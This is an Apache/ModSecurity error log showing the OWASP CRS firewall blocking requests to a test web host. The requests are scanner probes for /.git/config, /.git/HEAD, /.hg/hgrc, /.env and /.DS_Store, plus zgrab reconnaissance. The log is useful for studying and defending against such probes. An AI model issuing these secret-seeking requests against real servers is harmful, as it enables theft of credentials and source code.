[Tue Mar 19 19:31:36.634079 2024] [:error] [pid 1895926] [client 64.226.65.160:42848] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZfnaCLxoDwC710vtydANOgAAAA0"]
[Tue Mar 19 19:31:36.634556 2024] [:error] [pid 1895926] [client 64.226.65.160:42848] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZfnaCLxoDwC710vtydANOgAAAA0"]
[Tue Mar 19 19:31:36.634947 2024] [:error] [pid 1895926] [client 64.226.65.160:42848] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZfnaCLxoDwC710vtydANOgAAAA0"]
[Tue Mar 19 19:31:49.339487 2024] [:error] [pid 1895923] [client 45.138.16.120:44254] [client 45.138.16.120] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZfnaFVMesTzPhnVGT--F-gAAAAQ"]
[Tue Mar 19 19:31:49.340070 2024] [:error] [pid 1895923] [client 45.138.16.120:44254] [client 45.138.16.120] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZfnaFVMesTzPhnVGT--F-gAAAAQ"]
[Tue Mar 19 19:31:49.340493 2024] [:error] [pid 1895923] [client 45.138.16.120:44254] [client 45.138.16.120] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZfnaFVMesTzPhnVGT--F-gAAAAQ"]
[Tue Mar 19 23:31:53.784820 2024] [:error] [pid 1895957] [client 171.67.70.233:34286] [client 171.67.70.233] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "ZfoSWY7aH3kikZtclYxzbgAAAAs"]
[Tue Mar 19 23:31:53.785894 2024] [:error] [pid 1895957] [client 171.67.70.233:34286] [client 171.67.70.233] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "ZfoSWY7aH3kikZtclYxzbgAAAAs"]
[Tue Mar 19 23:31:53.786358 2024] [:error] [pid 1895957] [client 171.67.70.233:34286] [client 171.67.70.233] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "ZfoSWY7aH3kikZtclYxzbgAAAAs"]
[Wed Mar 20 07:31:54.583513 2024] [:error] [pid 1902403] [client 171.67.70.238:58754] [client 171.67.70.238] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "ZfqC2t7VZpCU2doSCcNg3AAAAAY"]
[Wed Mar 20 07:31:54.584434 2024] [:error] [pid 1902403] [client 171.67.70.238:58754] [client 171.67.70.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "ZfqC2t7VZpCU2doSCcNg3AAAAAY"]
[Wed Mar 20 07:31:54.585123 2024] [:error] [pid 1902403] [client 171.67.70.238:58754] [client 171.67.70.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "ZfqC2t7VZpCU2doSCcNg3AAAAAY"]
[Wed Mar 20 14:21:27.666564 2024] [:error] [pid 1901905] [client 3.249.60.110:33588] [client 3.249.60.110] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zfri16HxWWQI0AZfxScfhQAAAAQ"]
[Wed Mar 20 14:21:27.667311 2024] [:error] [pid 1901905] [client 3.249.60.110:33588] [client 3.249.60.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zfri16HxWWQI0AZfxScfhQAAAAQ"]
[Wed Mar 20 14:21:27.667839 2024] [:error] [pid 1901905] [client 3.249.60.110:33588] [client 3.249.60.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zfri16HxWWQI0AZfxScfhQAAAAQ"]
[Sun Mar 24 06:59:22.415638 2024] [:error] [pid 2003015] [client 141.11.197.218:41604] [client 141.11.197.218] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/hgrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.hg/hgrc"] [unique_id "Zf_BOun-JwLqfy_sjK67RAAAAAQ"]
[Sun Mar 24 06:59:22.418077 2024] [:error] [pid 2003015] [client 141.11.197.218:41604] [client 141.11.197.218] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.hg/hgrc"] [unique_id "Zf_BOun-JwLqfy_sjK67RAAAAAQ"]
[Sun Mar 24 06:59:22.418548 2024] [:error] [pid 2003015] [client 141.11.197.218:41604] [client 141.11.197.218] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.hg/hgrc"] [unique_id "Zf_BOun-JwLqfy_sjK67RAAAAAQ"]
[Thu Mar 28 23:12:45.868133 2024] [:error] [pid 2101992] [client 100.26.55.199:34142] [client 100.26.55.199] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZgXrXfAAADT06Lr0vKjy-gAAAAc"]
[Thu Mar 28 23:12:45.870055 2024] [:error] [pid 2101992] [client 100.26.55.199:34142] [client 100.26.55.199] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZgXrXfAAADT06Lr0vKjy-gAAAAc"]
[Thu Mar 28 23:12:45.870434 2024] [:error] [pid 2101992] [client 100.26.55.199:34142] [client 100.26.55.199] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZgXrXfAAADT06Lr0vKjy-gAAAAc"]
[Fri Apr 19 12:54:01.696354 2024] [:error] [pid 2613166] [client 3.135.187.47:36728] [client 3.135.187.47] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZiJNSed2LGbyCwfz0vaUqwAAAAE"]
[Fri Apr 19 12:54:01.698077 2024] [:error] [pid 2613166] [client 3.135.187.47:36728] [client 3.135.187.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZiJNSed2LGbyCwfz0vaUqwAAAAE"]
[Fri Apr 19 12:54:01.698552 2024] [:error] [pid 2613166] [client 3.135.187.47:36728] [client 3.135.187.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZiJNSed2LGbyCwfz0vaUqwAAAAE"]
[Sun Apr 21 01:06:55.484184 2024] [:error] [pid 2667826] [client 3.135.187.47:35646] [client 3.135.187.47] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZiRKj-LjqhVU4C2LKImADgAAAAA"]
[Sun Apr 21 01:06:55.486237 2024] [:error] [pid 2667826] [client 3.135.187.47:35646] [client 3.135.187.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZiRKj-LjqhVU4C2LKImADgAAAAA"]
[Sun Apr 21 01:06:55.486701 2024] [:error] [pid 2667826] [client 3.135.187.47:35646] [client 3.135.187.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZiRKj-LjqhVU4C2LKImADgAAAAA"]
[Wed May 08 09:53:17.212657 2024] [:error] [pid 3051246] [client 193.233.49.207:41340] [client 193.233.49.207] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Zjsvbfegl4fHovFt2-shXgAAAAE"]
[Wed May 08 09:53:17.214081 2024] [:error] [pid 3051246] [client 193.233.49.207:41340] [client 193.233.49.207] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Zjsvbfegl4fHovFt2-shXgAAAAE"]
[Wed May 08 09:53:17.214537 2024] [:error] [pid 3051246] [client 193.233.49.207:41340] [client 193.233.49.207] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Zjsvbfegl4fHovFt2-shXgAAAAE"]
[Sat May 11 11:14:35.211497 2024] [:error] [pid 3130491] [client 45.134.224.173:9436] [client 45.134.224.173] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zj82-2JVUdeQxmlTL1tZQwAAAAU"]
[Sat May 11 11:14:35.213514 2024] [:error] [pid 3130491] [client 45.134.224.173:9436] [client 45.134.224.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zj82-2JVUdeQxmlTL1tZQwAAAAU"]
[Sat May 11 11:14:35.214034 2024] [:error] [pid 3130491] [client 45.134.224.173:9436] [client 45.134.224.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zj82-2JVUdeQxmlTL1tZQwAAAAU"]
[Sat May 11 11:14:35.395958 2024] [:error] [pid 3130491] [client 45.134.224.173:9436] [client 45.134.224.173] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zj82-2JVUdeQxmlTL1tZRAAAAAU"]
[Sat May 11 11:14:35.396430 2024] [:error] [pid 3130491] [client 45.134.224.173:9436] [client 45.134.224.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zj82-2JVUdeQxmlTL1tZRAAAAAU"]
[Sat May 11 11:14:35.396988 2024] [:error] [pid 3130491] [client 45.134.224.173:9436] [client 45.134.224.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zj82-2JVUdeQxmlTL1tZRAAAAAU"]
[Sat May 18 21:37:56.996679 2024] [authz_core:error] [pid 3319303] [client 139.162.141.82:35556] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sat May 18 21:37:57.982416 2024] [:error] [pid 3319315] [client 139.162.141.82:35572] [client 139.162.141.82] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "ZkkDlQWVA8dvJH-OiAVaQgAAACg"]
[Sat May 18 21:37:57.982998 2024] [:error] [pid 3319315] [client 139.162.141.82:35572] [client 139.162.141.82] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "ZkkDlQWVA8dvJH-OiAVaQgAAACg"]
[Sat May 18 21:37:57.983296 2024] [:error] [pid 3319315] [client 139.162.141.82:35572] [client 139.162.141.82] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "ZkkDlQWVA8dvJH-OiAVaQgAAACg"]
[Sat May 18 21:37:58.037790 2024] [:error] [pid 3319318] [client 139.162.141.82:35574] [client 139.162.141.82] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZkkDlhPhLCSD6jxRNUMtPwAAACs"]
